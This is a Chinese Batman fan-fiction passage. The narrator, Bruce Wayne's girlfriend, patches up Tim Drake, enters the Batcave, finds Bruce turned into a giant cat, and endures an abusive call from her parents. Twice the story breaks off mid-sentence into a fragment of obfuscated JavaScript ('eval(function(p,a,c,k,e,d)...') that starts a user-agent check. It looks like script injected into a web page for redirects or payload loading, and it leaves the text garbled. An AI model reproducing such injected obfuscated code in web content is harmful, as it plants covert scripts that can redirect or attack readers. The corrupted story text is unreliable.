要不是怕烫,他估计是煎一块吃一块。 看着猫大快朵颐的模样,我的嘴唇也跟着勾起一点弧度。本来昨晚就该把他交给红罗宾的,哪知黑猫死活抠着我的衣服不放,还对着他名义上的三哥直哈气,不得已,红罗宾只能跟着押运车把阿卡姆骑士送去高危牢房关押,和我说好有空就把小孩带回去。 正想着,通讯器就响了起来,我面上的轻松很快随着讯息浏览到末尾而重新转变为郁气。 “咪咪,该回你家了,”我用力搓了一下眉心,感觉偏头痛又有了作妖的迹象,“真要命……我一共才睡了两小时不到。” 不幸中的万幸,这次前往韦恩庄园的路途我是有司机的。 这两天的哥谭可谓风声鹤唳,已经有人自发组队带着大网在一些偏僻街区巡逻。为公寓管理员着想,聪明的小猫会自己避开摄像头爬上爬下,等我拎着包下到停车场,监控死角处停了辆低调的商务车,司机正和车顶的黑猫一动不动对峙中。 “达米安·韦恩!我真该把你丢去收容区尝尝苦头!” 顶着满肩膀梅花脚印和一头鸡窝似的乱发,扶着车门气急败坏的年轻男人与我不小心对视,他立即就噤了声,白皙的脖颈漫上尴尬的红晕。 这点破绽逃不过黑猫的双眼,小家伙立刻朝对方飞扑过去,一击即中,随后毫不恋战地从哥哥身上蹬至半空,以一个十分优雅的姿势落回车顶上。 红罗宾——韦恩企业现任最年轻的CEO,提摩西·德雷克先生现在是真的想杀猫了,我看得出来。 那张经常出现在财经新闻里的漂亮脸蛋多了三道新鲜出炉的血痕,他瞥了眼摄像头,撩开衣领就要掏出什么东西。罗宾猫察觉到了敌意,炸着毛从车顶跳了起来,想也不想就往我这张开了四肢。 “小心!” 眼前一黑,大坨毛绒炸弹落进怀里,我下意识托住猫的屁股,仿佛听见了腰椎可怜的“咔咔”声。 根本抱不动!要倒了! 千钧一发之际,有双手迅速揽住我,顺带给黑猫扣上帽子,我带着点惊魂未定想要大口呼吸,却感觉脸上全是毛,一开口便被呛得剧烈咳嗽起来。 “老天啊……你还好吗?” 终于意识到自己做错了事,猫耷拉着耳朵,被哥哥拎起后脖颈提溜到一边,只敢绕在我附近小声叫唤。我眼冒泪花,只能看见一绿一蓝两双眼睛担忧地盯了过来,艰难地冲眼前人摆摆手,总算是把气捋顺了: “……我需要化毛膏。” “行,上车我带你去买……”说着,脸上还冒着血的总裁先生就要带我朝车里走,迈了两步才发觉不对劲,“那种东西可以给人吃吗?” 许是他的模样实在狼狈,身量又纤细,我生不出被异性触碰时的糟糕观感,不由笑起来: “当然不行……”我呸呸两下朝旁吐掉嘴里的浮毛,无奈一睨跟在脚边的黑猫,转而重新打量起德雷克挂彩的脸,“你车里应该有医药箱,我帮你处理一下吧。” 托熊孩猫这一通闹腾的福,我和德雷克都不敢在停车场逗留,一直把车开出去几公里才在路边停下。 眼下我刚戴上眼镜与他在前排面对面,一颗黑猫脑袋就从后排挤到了驾驶座与副驾驶座之间的缝隙里,大眼睛盯着我摆弄医药箱。 我很熟悉猫科动物的这种表情(托萌宠视频的福),当即曲起指节弹了一下他湿润的鼻尖,把龇牙咧嘴的猫逼回阴影里,而后便听见邻座微微吸了口气:“……昨天我就想问了,你到底是怎么驯服他的?” “……我们只是在友好地相处,”我略感疑惑地抬头望了眼德雷克,不理解他怎么会说出这种发言,“猫一般来说很乖的,我也想问你们是怎么回事——昨晚也没发展成这样?” 棉球的包装有点不好撕开,我正要用上牙咬,却见视野里多出一只手,便递了过去。 “完全看不出哪里能和‘乖巧’沾边,”低声地吐槽后,他把撕开的包装展开,方便我用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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把消过毒的生理盐水倒进废品袋,我又用新棉球蘸取一些,清理德雷克的伤口,青年被刺激得小声嘶了一下,我的动作不由更加轻柔,“还直接把骑士五花大绑的照片发了过来……” 可能是在回忆照片中人的狼狈,他的双眼不自觉上瞟,又重新正色道,“我能问问你为什么不直接通知布鲁斯吗?” 果然,这个人太过敏锐。 即使昨晚用其他人都联系不上作为借口,但我在拿到通讯器后其实只给他发送了讯息,只要事后一看便知我说了谎。 原本我以为红罗宾事务繁忙,应该不会注意到这点小细节。 好在我说谎的基础从来都建立在真实之上。 “你、夜翼和蝙蝠侠都在定时给罗宾发送通讯请求,但通话记录却差别很大,”给伤口消完毒,我戴上指套,挤了点药膏涂在青年脸上,“他们俩的频率在逐渐降低,夜翼似乎是遇上了什么事,我拿到通讯器时他已经有两个小时没有任何消息——但你的从始至终都没有改变。” 他恍然大悟般眨眨眼:“所以你判断我是当时最有空的义警。” 话是这么引导着他说了,但德雷克明显还像是在思考着什么,我抿了下唇,决定打断他的深思:“你这么问是觉得我很可疑吗?” 闻言,青年脸上流露出两分无措,眼睛一下子睁大了。 看着终于符合他原本才上大学的年纪。 “不是的,”他否定得飞快,音量跟着提高了些,“我只是……有点担心你和布鲁斯之间是不是吵架了。” 究竟是多么犀利的观察能力——又或者是他的思维模式和我有相似之处,才会在只言片语中得出这样的担忧? “近两年他改掉了不少和异性亲近的习惯,我一开始以为是年龄增长的关系,后来才发现是背着我们所有人……不算阿福,背着我们偷偷交女朋友,”谈及此,德雷克的语气还有些别扭,“这和他原本的作风不太一样,所以你来哥谭之后我也旁敲侧击过。别看布鲁斯平时都很稳重,但是在恋爱方面只能说……让人不由捏了把汗。” 明显是考虑到我的立场,对方说得相当委婉。 他的坦诚令我有一瞬无言以对,男友一惯爱在孩子面前当大家长,德雷克的视角对我来说很是新鲜,这份反向的关怀充分表明了他们家人之间流淌的爱。 然而,我却在感到慰藉的同时被刺痛了。 不可能同男友的孩子分享自己内心的矛盾,我在须臾的沉默后开口:“我们目前不在吵架,请你放心……何况他现在都变成那样了,任何问题都比不上他的人身安全。” 想到现状,车内气氛顿时不再那么活跃。伤口处理已经在谈话间完成,德雷克朝我道了声谢,我想我们在此时的忧虑是一致的,他又看了眼在后排打盹的猫,发动了汽车: “庄园里有迪克和阿福在照顾他,我们很快就能到的。” “等等,我正好去后排看看他的尾巴。”说着,我提着医药箱轻手轻脚地坐到后面,不去吵醒黑猫。 开关门的动静只是令猫的耳朵动了动,我小心翼翼地伸手碰了碰他的尾巴,确认这小猫不会突然给我一巴掌后才拿在手里细细摸索。 “有什么问题吗?” 车辆驶入匝道,我没注意到司机闪烁的眼神,只听出他的语气有些微妙。 “不,”我带着点放松的笑意和对方在后视镜对视,“小鬼皮糙肉厚的。” “迪克说你们关系不太好,我一开始还担心过你们会相处不愉快,”德雷克略带感慨,“达米安大部分时候都是个混蛋。” 我深以为然——若不是看在猫这么可爱的份上,我管这小孩有没有问题:“听起来你有一箩筐话能抱怨,真是辛苦你了,同时要为公司、家里人还有整个哥谭操心。” “能者多劳,而且都是些寻常的小事。”青年和我客套起来。 “我不这么想,为家人付出在大多数人看来都是很正常的事,”在该认真传达自己想法的时候,我不会糊弄过去,“但也是绝对不能忽视的,我很感谢你对布鲁斯…和我的关心,他有这么善解人意的孩子着实幸运。” 考虑到男友那闷葫芦性格,我自觉有必要替他表达一点心意。 ……虽然这么插手他人的家事多少有点多管闲事,但我明白,在一个家庭中往往是最为他人着想的那一个过得最辛苦。 也不知我的想法能不能被德雷克接收到,前排没有立刻回话。 难不成我又用力过猛了? 针对自己的反省会还没来得及开,青年清亮的声线夹了点卡顿,干涩地传到后座:“……我没有那么孩子气的,小姐。这样的夸奖是不是、咳,我一共也没有比你小几岁。” 我立马回忆了一下男友和我提过的细节——六岁在外国人眼里莫非也不是什么很大的年龄差?还是说我摆了太足的长辈架子于是让德雷克觉得不舒服? 见他频频望向后视镜,我有些气馁地握紧了手臂上的夹板,老老实实道了歉:“对不起……是我太得意忘形了。” 前男友只有双亲,没有孩子,更枉论布鲁斯的小孩里有三个和我年龄相差不大——我压根找不到类似的社交场景能供我模仿,而用我自己的方式去处理……结果就是会搞砸。 德雷克的确就像我说的那样善解人意,他几乎是即刻反驳道:“不、我不是想要责怪你!……我只是觉得有点、有点奇怪……” 被他这么一说,我也觉得自己的发言越回想越古怪,忍不住捂住脸:“你说得对……我以后会注意分寸的。” 我们都想不出更好的解围方式,接下来的车程里再也找不回一开始能放松对话的气氛,只能一路尴尬地前往韦恩庄园。 14.14 即使见过几次照片,但当我真正身处于这栋传承许久的宅邸,心中还是不免升起强烈的不自在感。 琼楼玉宇,雕梁画栋,基本我目之所及的物品都有着相当的价值,大宅的历代主人应该都有着不俗的品味,因而在装饰上的选择十分协调,低调又不失精美,是那种我会为了取材而特地买票参观的程度。 可作为“恋人的家”,我能感受到的不自在若要转换成语言,那就是“我与这里并不相配”。 “昨夜我在警察那做完笔录就回去休息了,骑士不是已经被关进阿卡姆,究竟为什么会发展成这样?” 没有任何想要在此久留的想法,我偏头询问在前方领路的管家——黑猫相当中意他,几次想要蹦上老人的臂弯,要不是我此刻心乱如麻,估计会因此吃上不少飞醋。 潘尼沃斯先生与走在另一侧的德雷克交换了一个眼神,斟酌着开口: “这两天的骚乱给哥谭造成了不小的损失,即使是老爷也有些疲于奔命,当然……他也并没有放弃寻找您和达米安少爷……” “我明白的,潘尼沃斯先生。拯救一两个人和拯救一群人是有先后级的,你们也都尽力了,我没有小气到会为了这种事责怪布鲁斯。” 迫切想要了解事情原委的心情促使我把英语说得飞快,是事后想起来都会惊异于其流利的程度。 但不知为何,带路的两人都有片刻的眼神非常一言难尽,并且将目光落在我受伤的左肩上——那个部位只要没有药物就会泛起疼痛,也是因此我才迟迟不能入睡——但这些都不是重点。 我不想显得失礼,但还是忍不住催促道,“只用告诉我昨晚具体发生了什么就行,德雷克先生有在短讯里提到蝙蝠侠后来去阿卡姆和疑似杰森·陶德的骑士见面了,然后呢?” “布鲁斯进去时关掉了监控和通讯器,所以具体的谈话内容只有他们两个知晓,”相比欲言又止的管家,还是德雷克先一步回答了我的问题,“他们一共在牢房里待了八分四十一秒,随即病院内发生了小规模的暴动,骑士趁机取到了布鲁斯腰带里的凝胶炸弹,炸开地板后从地下逃走。” 利用蝙蝠侠和自己交流的机会来实现逃狱,完全可能是曾经的罗宾会做出的事。 阿卡姆骑士是杰森·陶德的可能性更高了。 把满脑子克隆人和记忆操作之类的念头扫至角落,我更关心的还是事态接下来的发展。德雷克的脸色在提及此处后便不怎么好,看样子问题是从这里发生的。 “你们没能再抓到骑士?” “是的…抱歉,你好不容易才制服他……”他的沮丧只持续了几秒,又很快振作精神,“不过我从他安全屋的电脑里基本锁定了全部他可能会前往的地址,还有部分计划蓝图……只可惜那台电脑被设计了自毁程序,不然追踪工作会变得更轻松些。” 我对此也不觉得可惜:“你已经做得很好了,而且比起我,骑士更熟悉你们的行动模式,我的成功更多是侥幸。” 说些厚脸皮的话,我甚至可以算得上用了……美人计?也就是看穿异性的需求然后对症下药,要是换成同性我的招数肯定不会奏效。 拥有同等的社会地位和权利的情况下,女人总是比男人难骗多了。 “您不必如此自谦,”被猫粘得紧,老管家此时才有空插入我们的对话,“这对您来说本是无妄之灾。” 潘尼沃斯说的是事实,但我不习惯让人为我而感到愧疚——骑士给了我很多灵感,换个角度看甚至是我赚了才对。 于是我笑了笑,尽量用轻松的口吻说道:“……只能说‘传说中的黑暗骑士’的女友——这个位置就是最好的靶子,不朝我开两枪都算痛失良机。作为布鲁斯的家人,你们这么多年的处境也算不上安全,尤其潘尼沃斯先生似乎并非义警吧?” 领会了我的言下之意,老人语气柔和:“的确,毕竟是‘传说中的黑暗骑士’的管家。” 又寒暄两句调节气氛,我们走至书房门口,他微微欠身,“那么还请允许我带着达米安少爷先行告退,老爷的状况不太稳定,我想他们还是不要直接见面为好。” “说的也是,”脸上还顶着药膏的德雷克点了点头,蓝眼睛严肃地看向我,“虽然这么说不太好,但是你要做好被攻击的心理准备。” 目送一人一猫走远,我收回视线。到了这一步,我反而不再像之前那么胡思乱想,可能也有布鲁斯无论变成什么样,我都能相信他没有主动伤人的意思…… 不,我真的能交付百分之一百的信任吗? 蝙蝠侠暴力执法的场景在脑中一晃而过,我的表情或许很难看,德雷克因而放柔声线,“我和迪克就在旁边,万一发生什么事就往我们这跑。” 明明年岁也不小了,总不能把自己的事交给还不到饮酒年龄的年轻人去担心吧。 用力吐出口浊气,我跟随青年进入书房。琳琅满目的书籍里自然不见男友的踪影,而德雷克在靠墙的座钟前站定,偏头望过来: “布鲁斯和我说过,你迟早会猜到他的身份,”发言间,他的神色也很笃定,似是和养父持有相同的观点,“遇到他不在的紧急情况,可以向你公开蝙蝠洞的权限。” 听起来大概是什么超级英雄的秘密基地。 “……他一定要在所有东西前都用‘蝙蝠’当形容词吗?”男友的信任反倒显得我之前的顾虑有些过分,为了掩饰心虚,我捏上自己的胳膊。 “我觉得还挺酷的?”红罗宾先生和我有了几分代沟。 好吧,不懂你们义警的流行趋势是我的问题。 青年把座钟时分针拨到了特定的角度,我一看便知是男友父母的死亡时间,还没来得及感伤,就见座钟像特工电影一样平移,露出后面颇具未来感的小型电梯。 我跟着德雷克走进去,在轻微的失重感中握住两旁的环形扶手: “确实挺酷的。” 这样的评价令身边人自豪地挑了挑眉:“下面还有更酷的……本来该是布鲁斯带你好好参观一下。” 即使是再次单独相处,先前那点尴尬也没有复燃的迹象。我暗自松了口气,接过话头:“会有机会的,医院那边不是已经在和星辰实验室合作研究了吗?” “没有那么简单,”知晓内情的德雷克摇了摇头,“这种诱变病毒来源不明,潜伏期也因个人而异,想要研制出对应的疫苗十分困难。我看过前天警局的监控,变异动物的目标明显是阿卡姆骑士,你被他绑了一路,真的没有什么相关的线索吗?哪怕是一点细节也行。” 昨晚会面时他作为红罗宾也这么问过,我微微摇头,重复着差不多的说辞:“他还怀疑是我搞的鬼呢,我晕了一路,哪有机会动什么手脚。” 没什么突破口,青年表现出了点头疼,他的视线上移,我这才注意到电梯里还有摄像头。 那种被机器窥伺的感觉激起一片鸡皮疙瘩,因此我稍微往他身后躲了些,专注于对话上,“不过阿卡姆病院内应该没有变异动物才对,蝙蝠侠果然是在其他地方被咬伤的吧?” 德雷克并没有为我突然的话题跳跃而皱眉,他相当自然地答道:“前天一整晚我们都在抓各种各样的动物,布鲁斯事发之前就去了警局,也是因此在最初的混乱里便受了伤。” 这也意味着,在我当时被骑士扛着跑酷时正好和男朋友擦肩而过?罗宾猫倒是来得快,是被他派过来的吗? 我很快把这点正事之外的念头抛诸脑后。 据新闻所说,所有变异动物的体/液都是危险的感染源,一旦进入体内就有几率诱发基因方面的异变,最常见的感染方式就是咬伤了——听起来还有些丧尸电影的意味,但动物比丧尸好对付得多,只要气味或者声音使用得当,就可以将用本能行事的它们收容关押。 真正棘手的反而是接下来的安抚和治疗,毕竟曾经为人,要是关在笼子里,可是会被病患家属和相关组织投诉到爆的。 无论是作为布鲁斯·韦恩还是蝙蝠侠入院,男友都不一定能得到最好的治疗,还不如回到他自己家——熟悉的环境总能让他感到安心些。 话音落下不久,电梯便停在最底层。德雷克还是走在我前面,随着金属门扉缓缓打开,一片极为宽阔的地下空间映入眼帘。 蝙蝠洞真的就是栖息着蝙蝠的山洞啊。 脚下的台阶似乎是被人工打磨过的不规则壁岩,我和德雷克还没走两步,就被匆匆而上的韦恩大哥拦住了去路,他身上都是绷带和纱布,还穿着夜翼制服。 格雷森看上去焦急又疲惫,他先是指了指脸颊,德雷克虚碰着那几道抓伤点点头,这令大哥的脸色更差了:“等会儿再说你的伤……可以的话我更想在餐厅或者会客室招待客人的——但现在你们俩最好先上楼。” “布鲁斯挣脱束缚带了?”德雷克一下子找到了问题结症,微微抬手把我整个人护在背后,“他没有直接离开蝙蝠洞吧?” “几个出口的警报器还是原样,但没有比布鲁斯更会玩躲猫猫的了,”大哥说着又叹了口气,“我想他现在正藏在哪个阴暗的角落看着我们呢。” 在场两位人类异性都表现出了不同程度的戒备和紧张,我却因格雷森的话而展开了些许联想。 其实……如果能变成大猫猫的话,这样的场景一定非常可爱吧? 我的视线不由往山洞的黑暗处投去。 无论戴不戴眼镜,我那因为中学时的眼部手术而留下的后遗症都注定我看不到什么特别的东西。 还是听从专业人士的建议先上去为好。 然而正当我想开口的时候,面向这一侧的格雷森忽地脸色大变,他距离我们要差上将近十几阶台阶,在拔腿跑来的同时,我已经感觉发丝被一股温热的风吹拂起来。 意识到不对劲的德雷克亦回过头,他反射性想要抓住我的手臂,却猛地顿在原地,整个人不敢轻举妄动。 青年缓而轻地喊了声我的名字:“……他正死死盯着你,千万不要有大幅度动作。” 爬上来的格雷森也放慢了脚步,大概是想把身后那个大家伙的注意力吸引到自己那边,他高扬起手,我这才发现他握着一根打扫用的羽毛掸子。 “啧……怎么逗猫棒都不管用,阿福还用它把布鲁斯骗上了治疗台呢……” 那股热风越来越近,我头顶发痒,着实受不了保持一个姿势太长时间,只能小声询问面前两人:“我能慢慢转身试试吗?” 格雷森蹙起眉,不过德雷克点了点头:“试试吧,距离太近了,我怕用麻醉飞镖不如他出手快。” 很难言明自己是期待还是害怕,我吸了口气,屏住呼吸挪动脚尖,身后没有阻力,于是我很顺畅地转过了身。 足足比我高出一个头的生物安静地蹲坐在电梯门口那一小片平台上,垂落的注目美丽又恐怖。 我认得他的眼睛。 这一刻,我把藏在袖子里的麻醉剂收了回去,面前的动物长毛凌乱,浑身伤口,他的脖子上还套着松松垮垮的项圈——因为看起来太惨了,我的眼泪在大脑意识到之前就涌了出来。 “布鲁斯……你怎么会把自己弄成这样…………” 脱口而出的声音好像根本不受我控制,变成了含糊不清的哭泣——毕竟谁看见自己男朋友惨兮兮又破破烂烂的样子都会心痛得无法呼吸,我甚至都不知道抱哪里才不会压到他身上的伤口! 动物的尖耳朵随着我陡然爆发的呜咽向后折去,他脖子后缩,湿润的鼻尖不断耸动着,看起来比起进攻更想往哪逃跑。 我不可能给他这样的机会,当即在身后两人的惊呼中抓住了对方的项圈:“你、你能不能听点话!带着那样的伤口还要跑到哪里去!” 训得太急,我还打了个哭嗝。 分明只要轻轻一扯就能挣脱我的力道,黑毛动物却僵在原地,他往我身后看了看,又挪回我的脸上,我能听见格雷森困惑地小声道:“……是我的错觉,还是布鲁斯想找我们帮忙?” 德雷克谨慎地回答他:“总之,他现在没有攻击我们任何人的意图。” 我没功夫管后面那两个看戏的了,再一次扯动项圈。男友的大脑袋终是低了下来,闻了又闻,迟疑又小心地舔掉了我脸上的泪痕。 粗糙又长着倒刺的舌头把我的脸颊舔得发红。 见那双蓝眼睛里盛着自己的倒影,我才止住的眼泪又开始稀里哗啦地流:“……果然是猫……呜呜!” . 直到被不放心的兄弟两抽了管血做感染检查,我都还沉浸在眼泪要掉不掉的难过心绪中。 我吃不准男朋友的品种,总觉得既像缅因又像豹,他耳朵尖的聪明毛时不时抖两抖,似是在注意听着周围环境。超大型长毛猫不懂我的纠结,把大脑袋搁在我的腿上闭目养神,大半只身体都包扎了起来,用光了好几卷绷带。 唯一能令人感到安慰的,是巨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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说着,我把毛巾从脸上揭下来,正好和睁一只眼仰头看我的猫对上视线。虽说视线被蒸得有些模糊,但怎么看他都已经恢复了猫科动物那种懒洋洋的常态,“是吧,咪咪?孩子们都很担心你噢。” 大猫打了个哈欠,眼睛又闭了起来。 我没等到任何人回话,蓦然记起男友之前说过他们都会中文的事情,抬眼一看便发现两兄弟的目光都很微妙。 即使听得懂……我的后半句也没什么出格的地方吧。 “我之前就有点想问,”率先打破这种奇怪氛围的是转过半个身体的德雷克,“你在国内有养猫吗?或者是参加一些野生动物的救助活动?” 或许是我对两只猫的态度造成了对方的误会,近处的格雷森同样神色好奇,我诚实地对他们摇头: “没有呢,我从来都不是很有动物缘的类型……要是换普通的变异动物,我想我是不会接近的。” “看来你真的很信任他们,”韦恩大哥的嗓音愈发柔和,眉宇间带了些内疚,“很抱歉上次和达米安搅黄了你的约会……我真没想到他会这么反对。” “那是因为他自诩是这个家的未来家主,”毫不客气揭了弟弟的短,德雷克双手抱臂,用一种冷淡的语气继续抱怨,“你忘记我十八岁生日分到布鲁斯一半的股份,结果被他连续一星期往咖啡里加酱油的事了?” 酱油咖啡……这不是巨难喝吗!那小孩果然就是个恶魔啊恶魔! “这也太过分了!”我忍不住单手握拳,“咖啡可是生命之源,谁要是在我赶稿的时候这么干我一定要逼他把一整杯都喝得干干净净一滴不剩!” 三子的蓝眼睛一亮,立刻放下了抱臂的手,像是找到了知音般狡黠笑着:“所以我当天晚上就报复回去了,那小子晚上夜巡把自己最后的乳牙都摔没了,回头我还可以教你两招。” 闻言我兴趣顿生:“我想听这个,你具体说说!” 德雷克刚要开口,在边上旁听的格雷森便重重咳了一声,徘徊在我和弟弟之间的眼神充满了不赞同。 我一个激灵,莫名觉得现在的韦恩大哥像极了他爸,不由气弱下来。 再瞅一眼德雷克,他和我游移的目光撞了一下,也清清嗓子:“这个下次有机会再说……噢,你的检查结果出来了。” 我们俩不约而同选择装作对结果很上心的样子,格雷森对此只是轻轻叹气,接着走到弟弟身旁和他分享一块屏幕。 “应该没有感染吧,”我也很想动弹一下,但双腿被猫脑袋压得快没知觉了,“我最多就是被小的那只舔了两下。” 或者是帮罗宾猫包扎的时候沾了点血,虽然当时我还没从新闻里得知传播途径,但也有意识地避免血液进入自己的伤口——这算是常识性问题。 “的确没有,”格雷森偏头看了看我,和腿上的大猫,“但只要近距离接触变异动物就会有感染风险……不过布鲁斯肯定不愿离你太远。” 青年若有所思的语气令我生出了些不详的预感,刚要开口问询,却听口袋里传来了嗡嗡的振动声。这声音一起,闭眼假寐的大猫立即支起脑袋,鼻子直往我怀里拱,一副不找到声源不罢休的架势。 我向兄弟二人打了个抱歉的手势,一边温声哄猫,一边把手机拿了出来。 来电显示令我本能地蹙起了眉。 有那么几秒,我仿佛什么都没思考,等反应过来时,手指已经按下了挂断键。 “……我们这还没有严格到不允许接电话?” 两双颜色各异的蓝眼睛望了过来,我不自在地动了动腿,内心也不知是因为这股麻意而升腾起熟悉的焦虑感,只能勉强笑了笑,“不,我最好还是——” 连话都不给我机会说完,同一个来电显示又在屏幕上亮了起来。 深知自己避无可避,我小心地从治疗台上下来,扶着边缘稍作缓和,“反正这里也没我什么事,我就先上去了。” 大猫跟着跳了下来,看样子是要跟着我一起走——该说不愧是父子吗,这股黏人劲真是一模一样。 格雷森和弟弟对视一眼,作势要来扶我:“别太勉强自己了,我们可以先行回避的。” 手机振个不停,我不敢耽搁,干脆把手撑在猫的后背,往电梯那走去:“不用了,你们也挺忙的——我和布鲁斯就待在书房,有事叫我就行。” 说罢,我也没法照顾兄弟俩眼神中的担忧,用最快速度冲回了楼上。 “明明都换了手机号……按理说根本不可能会被他们发现才对……” 为了回应我的自言自语,大猫扬起头用鼻尖蹭了蹭我的侧脸,也多亏了他的陪伴,我才没有又像以前那样焦虑地直啃指甲。 挑了书房里光线适合的角度,我深深吐出一口气,接通了爸爸的电话。 15.15 区别于不少离家思乡的游子,大多数时候放我出门都像困兽出笼,头都不带回。 上学的时候我爸会一周给一次生活费,借此逼我回家,后来肄业了我靠着一点微薄的约稿费和借贷成功搬了出去,直到半年前才因为家里房子的归属问题不得不再次回去和他们住——身为我的生身父亲,他真的很了解我的脾性。 相信他会愿意把名下两套房给一个野惯了不听话的女儿,那真是天方夜谭。十七岁时我妈就爱天天和我念叨,说不考上大学他就会把我赶出家门,那一年我晚上躲在被子里就哭,一哭就想吃零食。结果因为焦虑胖了三十斤,每次吃晚饭都担心餐桌上另外两个人偷偷拿了根针,要把我扎破回原来的体重。 但要说爸爸不爱我,那也不可能。他能为了接送我去补习班特意买辆车,每天风雨无阻地送完我,然后就去开个网约车赚点外快,再回来接我回家。 有时候我也不知道自己对他是怎么想的。 电话那头传来老头儿中气十足的大嗓门,即使不开免提也能传播两三米,窝在腿边的大猫不太喜欢,把半张脸都埋在自己爪子底下。 我调低音量,感到有某种情绪一点点敲击着后脑勺:“给我打电话做什么?又忘记家里WIFI密码了?” 还记得去机场前我是特意写了便条贴在路由器上的。 那一头的中年男人先是一愣,随即又用熟悉的说教口吻提起哥谭这两天的乱子,他们都从国内新闻上看到了。而后又是老生常谈,说国外有多危险我有多容易被骗等等等等,我也没挂断电话,就这么时不时应两声表示还在听。 面对家人的关心,我是不是该装得兴致高一些? 但事实我坐在书房的飘窗上,面对外头发灰的天空出神。 座钟再次挪动时我爸正好提到我妈想见见我,言罢不等我反应便转了视频通话,我只来得及翻转手机倒扣在飘窗上,却不慎误触了某个键,妈妈不客气的埋怨便在整个书房响了起来。 “为什么这么晚才接电话?要是你上司有急事找你,你也是这么怠慢他的吗?” 无论是斜后方的脚步声,还是腿边的大猫,显然都被女性严厉的口吻吸引了注意力。 最好立即答话,不然她指不定又会说出更糟糕的发言。 我抿抿唇,让前置摄像头对着天花板:“妈妈,我这边不是一个人,总要找个适合单独说话的地方。” 一手按住想要跳上飘窗的猫,我颇感焦头烂额,冲走出来的格雷森略略颔首,他举起手里的眼镜,面上多了两分尴尬,看起来只是上来给我送东西的。 压根没有第二只手能接东西,我刚想示意他随便放下就走人,视频那头的女人似是觉察到什么,“你和那个男人待在一起吧?!真不知道你怎么想的!难道为了一个男人你就能抛下从小把你拉扯到大的父母不管吗?” 我几乎不敢看在场听众对此的反应,大脑一片空白,大猫早就不满我那点阻力,借机跳上飘窗,一巴掌把喋喋不休的手机拍到了窗户上。 糟糕!我百分百肯定妈妈接下来的话绝对不适合男友的儿子听。 但在我扑过去拿手机前,猫就像在跟我争夺猎物般也伸了爪子,我和手机失之交臂,只能听见她越说越生气: “你现在是翅膀长硬了,还跟我玩摔手机这套!”对方称得上歇斯底里地喊了我的全名,“我生女儿不是为了给有钱老男人当小三的,你要是乐意为了两个臭钱去当妓/女你不如去死啊!” 隐约还有爸爸安抚对方的话语传来,手指在闹哄哄的噪音里终于摸到了挂断键。 按下去的同时,室内被密不透风的阒静笼罩。猫对没有声音的破方块没了兴致,蓝眼睛清澈地望着我,好像压根不知道谈话内容到底在说什么。 我开始由衷祈祷变异动物的记忆不会和本人互通。 不过现在最大的问题不是猫。 才转过脸,我就抓到了青年难看的神色。这一家子都像中了基因彩票,因而当格雷森压着眉毛,用那种又是担心又压着恼怒的眼神望过来时,我诡异地感到了些许安慰。 瞧,正常人都知道那不是对亲生女儿该有的发言吧。 这种时候我必须表现得不在乎一点才行,毕竟对方看起来是真的在为我感到不平。 “抱歉,让你看了场闹剧,”我理了理发辫,叹息一声,“谢谢你帮忙把东西送上来。” 没什么诱因,我的喉咙漫起一阵痒意,我把这阵小小的咳嗽憋了回去,从格雷森手里接过了自己的黑框眼镜。 “……”他欲言又止,最终还是在我戴上眼镜后轻声开口,“如果有什么误会,我也可以帮忙解释一下。” 大猫感受到了青年的视线,耳朵一弹,没什么特殊反应。 “毕竟真正该负起责任的人现在也只能喵一声了。” 这话说的,都有点像是埋怨了。 我没有预想到他的回答,稍稍打了个搁楞:“……是我没把事情和爸妈说清楚,他们都不是什么太能接受巨大变化的人,从小到大都是我把他们吓得一惊一乍的。” “但最起码布鲁斯也该给他们打个电话……”格雷森不是从我脸上观察到了什么,天生的微笑唇抿成一条直线,“所以你就是在任何亲友都不知道的情况下来了哥谭?没有想过万一自己的恋人不靠谱该怎么办?” 他是不是太有责任感了? 可能是好几天没听见人像男友那样训我,我一下没反应过来,须臾后心情又略感矛盾,最终还是在那双严肃的蓝眼睛里败下阵来: “……我有和朋友大致说过一点要出国的事。” 他神色稍霁,但还是有点不放心地扶了下额头:“你可能会觉得我是在多管闲事,但哥谭每年失踪的外来人口都不少,尤其是像你这样年轻又漂亮的女性,即使是认识很久的人也不一定完全可靠……呃,我说了什么很好笑的话吗?” 被人点醒,我才注意到唇角不自觉地勾起,可没来得及说点什么,猫又把脑袋靠了上来,他用头顶顶着我的髋骨,缩起来的模样好像是烦了自家大儿子那张合不上的嘴。 “以前怎么没发现他这么幼稚?” 格雷森被气笑了,小声嘟囔。 即使刚才会出那档子事完全是因为某只动物的不可控之举,我也生不起什么怪罪的心思,伸手在猫的后颈皮那摸了一把,笑道:“你和布鲁斯说得一样,是个好大哥。” 青年倏地睁大了眼,一副惊诧中夹杂着开心的模样,他有些不好意思地抚过后颈,又问:“……当着我的面他很少说这种话,你们经常会谈到这些吗?” 说着,他略显谨慎地在我旁边不远处坐下。大猫尾椎骨那多了个热源,虽说身体依然没动,但粗长蓬松的尾巴却是友好地甩了对方一脸毛。 帅哥被迎面痛击的小品笑弯了我的眼: “是啊,我们俩不是年龄相近吗?他还问过我去大学公寓看刚吵完架的儿子会不会太唐突——我早了几年入学,那时候估计和你读的是一个年级。” 用这种话题勾格雷森一勾一个准,我觉得男友的几个儿子女儿都会吃这套——这就是布鲁斯平时爱在家装高冷的弊端——青年眼睛亮亮,摆足倾听架势:“我们吵过的架可多了……你怎么回他的?” “嗯,第一次接到成年人的求救信号,我先去图书馆翻了半宿儿童心理学,然后又去问当时的男朋友……”我点着下巴回忆,觉得自己那时候也挺傻的,“最后得出了个不要空着手直接上门的结论,先用新礼物或者吃顿大餐之类的理由把小孩带出来玩一天。” 从格雷森听完的反应来看,他爸绝对没有像我说的那样做,我总是对布鲁斯的事抱有十二分好奇,便立刻追问,“他干了什么?” 他睨了眼团起来假寐的大猫,这回及时躲过了那根故技重施的尾巴:“他带着我当时正在追查的那个案子的线索来找我,然后我们花了一整晚去解决那件事。” 好吧,礼物等于线索,玩一天等于夜巡一晚。我充分意识到男友在育儿方面的天赋,“哇哦”一声:“那你们和好了吗?” 